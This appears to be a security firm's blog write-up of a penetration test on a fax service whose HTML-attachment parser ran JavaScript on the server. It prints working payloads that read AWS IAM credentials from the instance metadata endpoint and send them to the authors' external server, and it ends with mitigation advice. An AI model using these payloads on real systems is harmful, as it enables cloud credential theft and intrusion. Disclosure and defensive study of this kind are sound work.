How we got access to AWS infrastructure exploiting foul parser

Published: Thu 30 Dec, 21
Authors: Fawaz Masood Qureshi

Introduction

Server-Side JavaScript injection is the ability for a user to inject JavaScript code that will, in turn, be evaluated by the server, and therefore would allow an attacker to potentially execute JS code under the context of the server and interact with the filesystem.

Understanding the vulnerable feature

The target application allows users to send faxes. Users can also attach files of different formats with the fax. Once the fax is sent, the server processes the attached file and embeds its content into the fax, converting the fax into .TIFF format and send that to the recipient. The sent fax (with embedded file content) also appears in the Sent folder from where the sender can download the sent faxes as PDF. There were multiple supported file formats, but what caught our eye was that the HTML files were also supported. So If a user sends a fax with an attached HTML file with the below-mentioned code, it gets parsed and is embedded in the original fax.

<html>
    <body>
        <h1>Ebryx</h1>
    </body>
</html>

Detecting the Vulnerability

HTML being processed is a feature for that application, not a vulnerability, but is there any way we can abuse this feature? Well, we started with basic checks. The very first test was to check if we are able to inject JavaScript. An HTML file with the below code was attached with the fax:

<html>
    <body>
        <script>document.write("Ebryx")</script>
    </body>
</html>

The TIFF file in the SENT folder had the “Ebryx” text in it. This proved that we are able to inject JS code. Next, we tried to find what protocol and path is being used by the server. A single line of JS code can show us that:

document.write(window.location)

When we looked at the generated .TIFF file, we could see file:// protocol being used by the server and internal path.

Figure 1: Internal path disclosure

Exploitation

For exploitation, the team decided to read the AWS Cloud metadata. But during this process, we faced multiple issues that we needed to overcome to fully exploit this vulnerability.

Multiple IAM Roles

The first problem we faced was that each time we accessed the [](http://169.254.169.254/latest/meta-data/iam/security-credentials) endpoint, there was a different role name in response.


We sent multiple requests to the /security-credentials endpoint and analyzed the role names in response. We found that there are actually three roles, each appearing in random order. So a very simple solution was to use three iframe tags in the same HTML file.

<html>
  <body>
    <iframe width="1000" height="1000" src=http://169.254.169.254/latest/meta-data/iam/security-credentials/FIRST-ROLE-NAME></iframe>
    <iframe width="1000" height="1000" src=http://169.254.169.254/latest/meta-data/iam/security-credentials/SECOND-ROLE-NAME></iframe>
    <iframe width="1000" height="1000" src=http://169.254.169.254/latest/meta-data/iam/security-credentials/THIRD-ROLE-NAME></iframe>
  </body>
</html>

Filtered out response text

After multiple roles hurdle was passed, we had another problem. We used the iframe tag to get the AWS credentials, but the generated TIFF file had very few characters visible, the majority of response text was filtered out.


Instead of getting a response in the generated TIFF file, we decided to exfiltrate the response. The solution seems very simple. At this stage, we knew that we can execute JS code at the server-side, so we can make XHR requests to get the AWS credentials, and send them to our server. We sent another fax with an attached HTML file containing the following code:

<html>
    <body>
        <scRIpT>
            var r = new XMLHttpRequest();
            r.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/{Role-Name}', true);
            r.send();
            r.onload = function(e){
                var cr = new XMLHttpRequest();
                cr.open('GET', 'server.ebryx.com?data='+this.responseText, true);
                cr.send();
            }
        </scRIpT>
    </body>
</html>

The above code should have sent the response text to our server, but we did not receive anything. Upon performing further tests, we found that the JS code inside onload function was not being executed.

We checked the User-Agent header that we received and realized that the target server was using Internet Explorer 7. A quick search on [caniuse](https://caniuse.com/?search=onload) showed that the onload function is not supported by IE-7. A simple solution here was to use synchronous requests instead of asynchronous.

var r = new XMLHttpRequest();
r.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', false); // Gets the role name
r.send();

r.open('GET', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'+r.responseText+'/', false);   // Gets the AWS credentials of current role
r.send();

r.open('GET', 'https://server.ebryx.com/index.php?data='+r.responseText); // Sends the data to our server.
r.send();

The above code worked and we got the keys in our server logs.

Figure 2: Response text exfiltrated to an attacker-controlled server.

Mitigation

To defend against such attacks, multiple fixes can be applied like whitelisting harmless elements, disabling the JS support on the target server, etc. Here is the summary of possible fixes:

  • A list of harmless HTML elements shall be maintained, and only those elements shall be parsed from the attached HTML file.
  • If possible, disable JS execution at the target server. Only HTML tags shall be allowed and JS code shall be filtered out.
  • Use Instance Metadata Service Version 2 (IMDSv2) instead of IMDSv1. More details HERE.

References

More From My Blog






    Cybersecurity ServicesCloud SecuritySecurity Assessment ServicesTailored Security for StartupsTailored Security for StartupsSecurity R&DDetection and Response ServicesCustom EngineeringManaged SOCOtherIncident Readiness and Response






      Cybersecurity ServicesCloud SecuritySecurity Assessment ServicesTailored Security for StartupsTailored Security for StartupsSecurity R&DDetection and Response ServicesCustom EngineeringManaged SOCOtherIncident Readiness and Response






        Cybersecurity ServicesCloud SecuritySecurity Assessment ServicesTailored Security for StartupsTailored Security for StartupsSecurity R&DDetection and Response ServicesCustom EngineeringManaged SOCOtherIncident Readiness and Response






          Cybersecurity ServicesCloud SecuritySecurity Assessment ServicesTailored Security for StartupsTailored Security for StartupsSecurity R&DDetection and Response ServicesCustom EngineeringManaged SOCOtherIncident Readiness and Response

          Get In Touch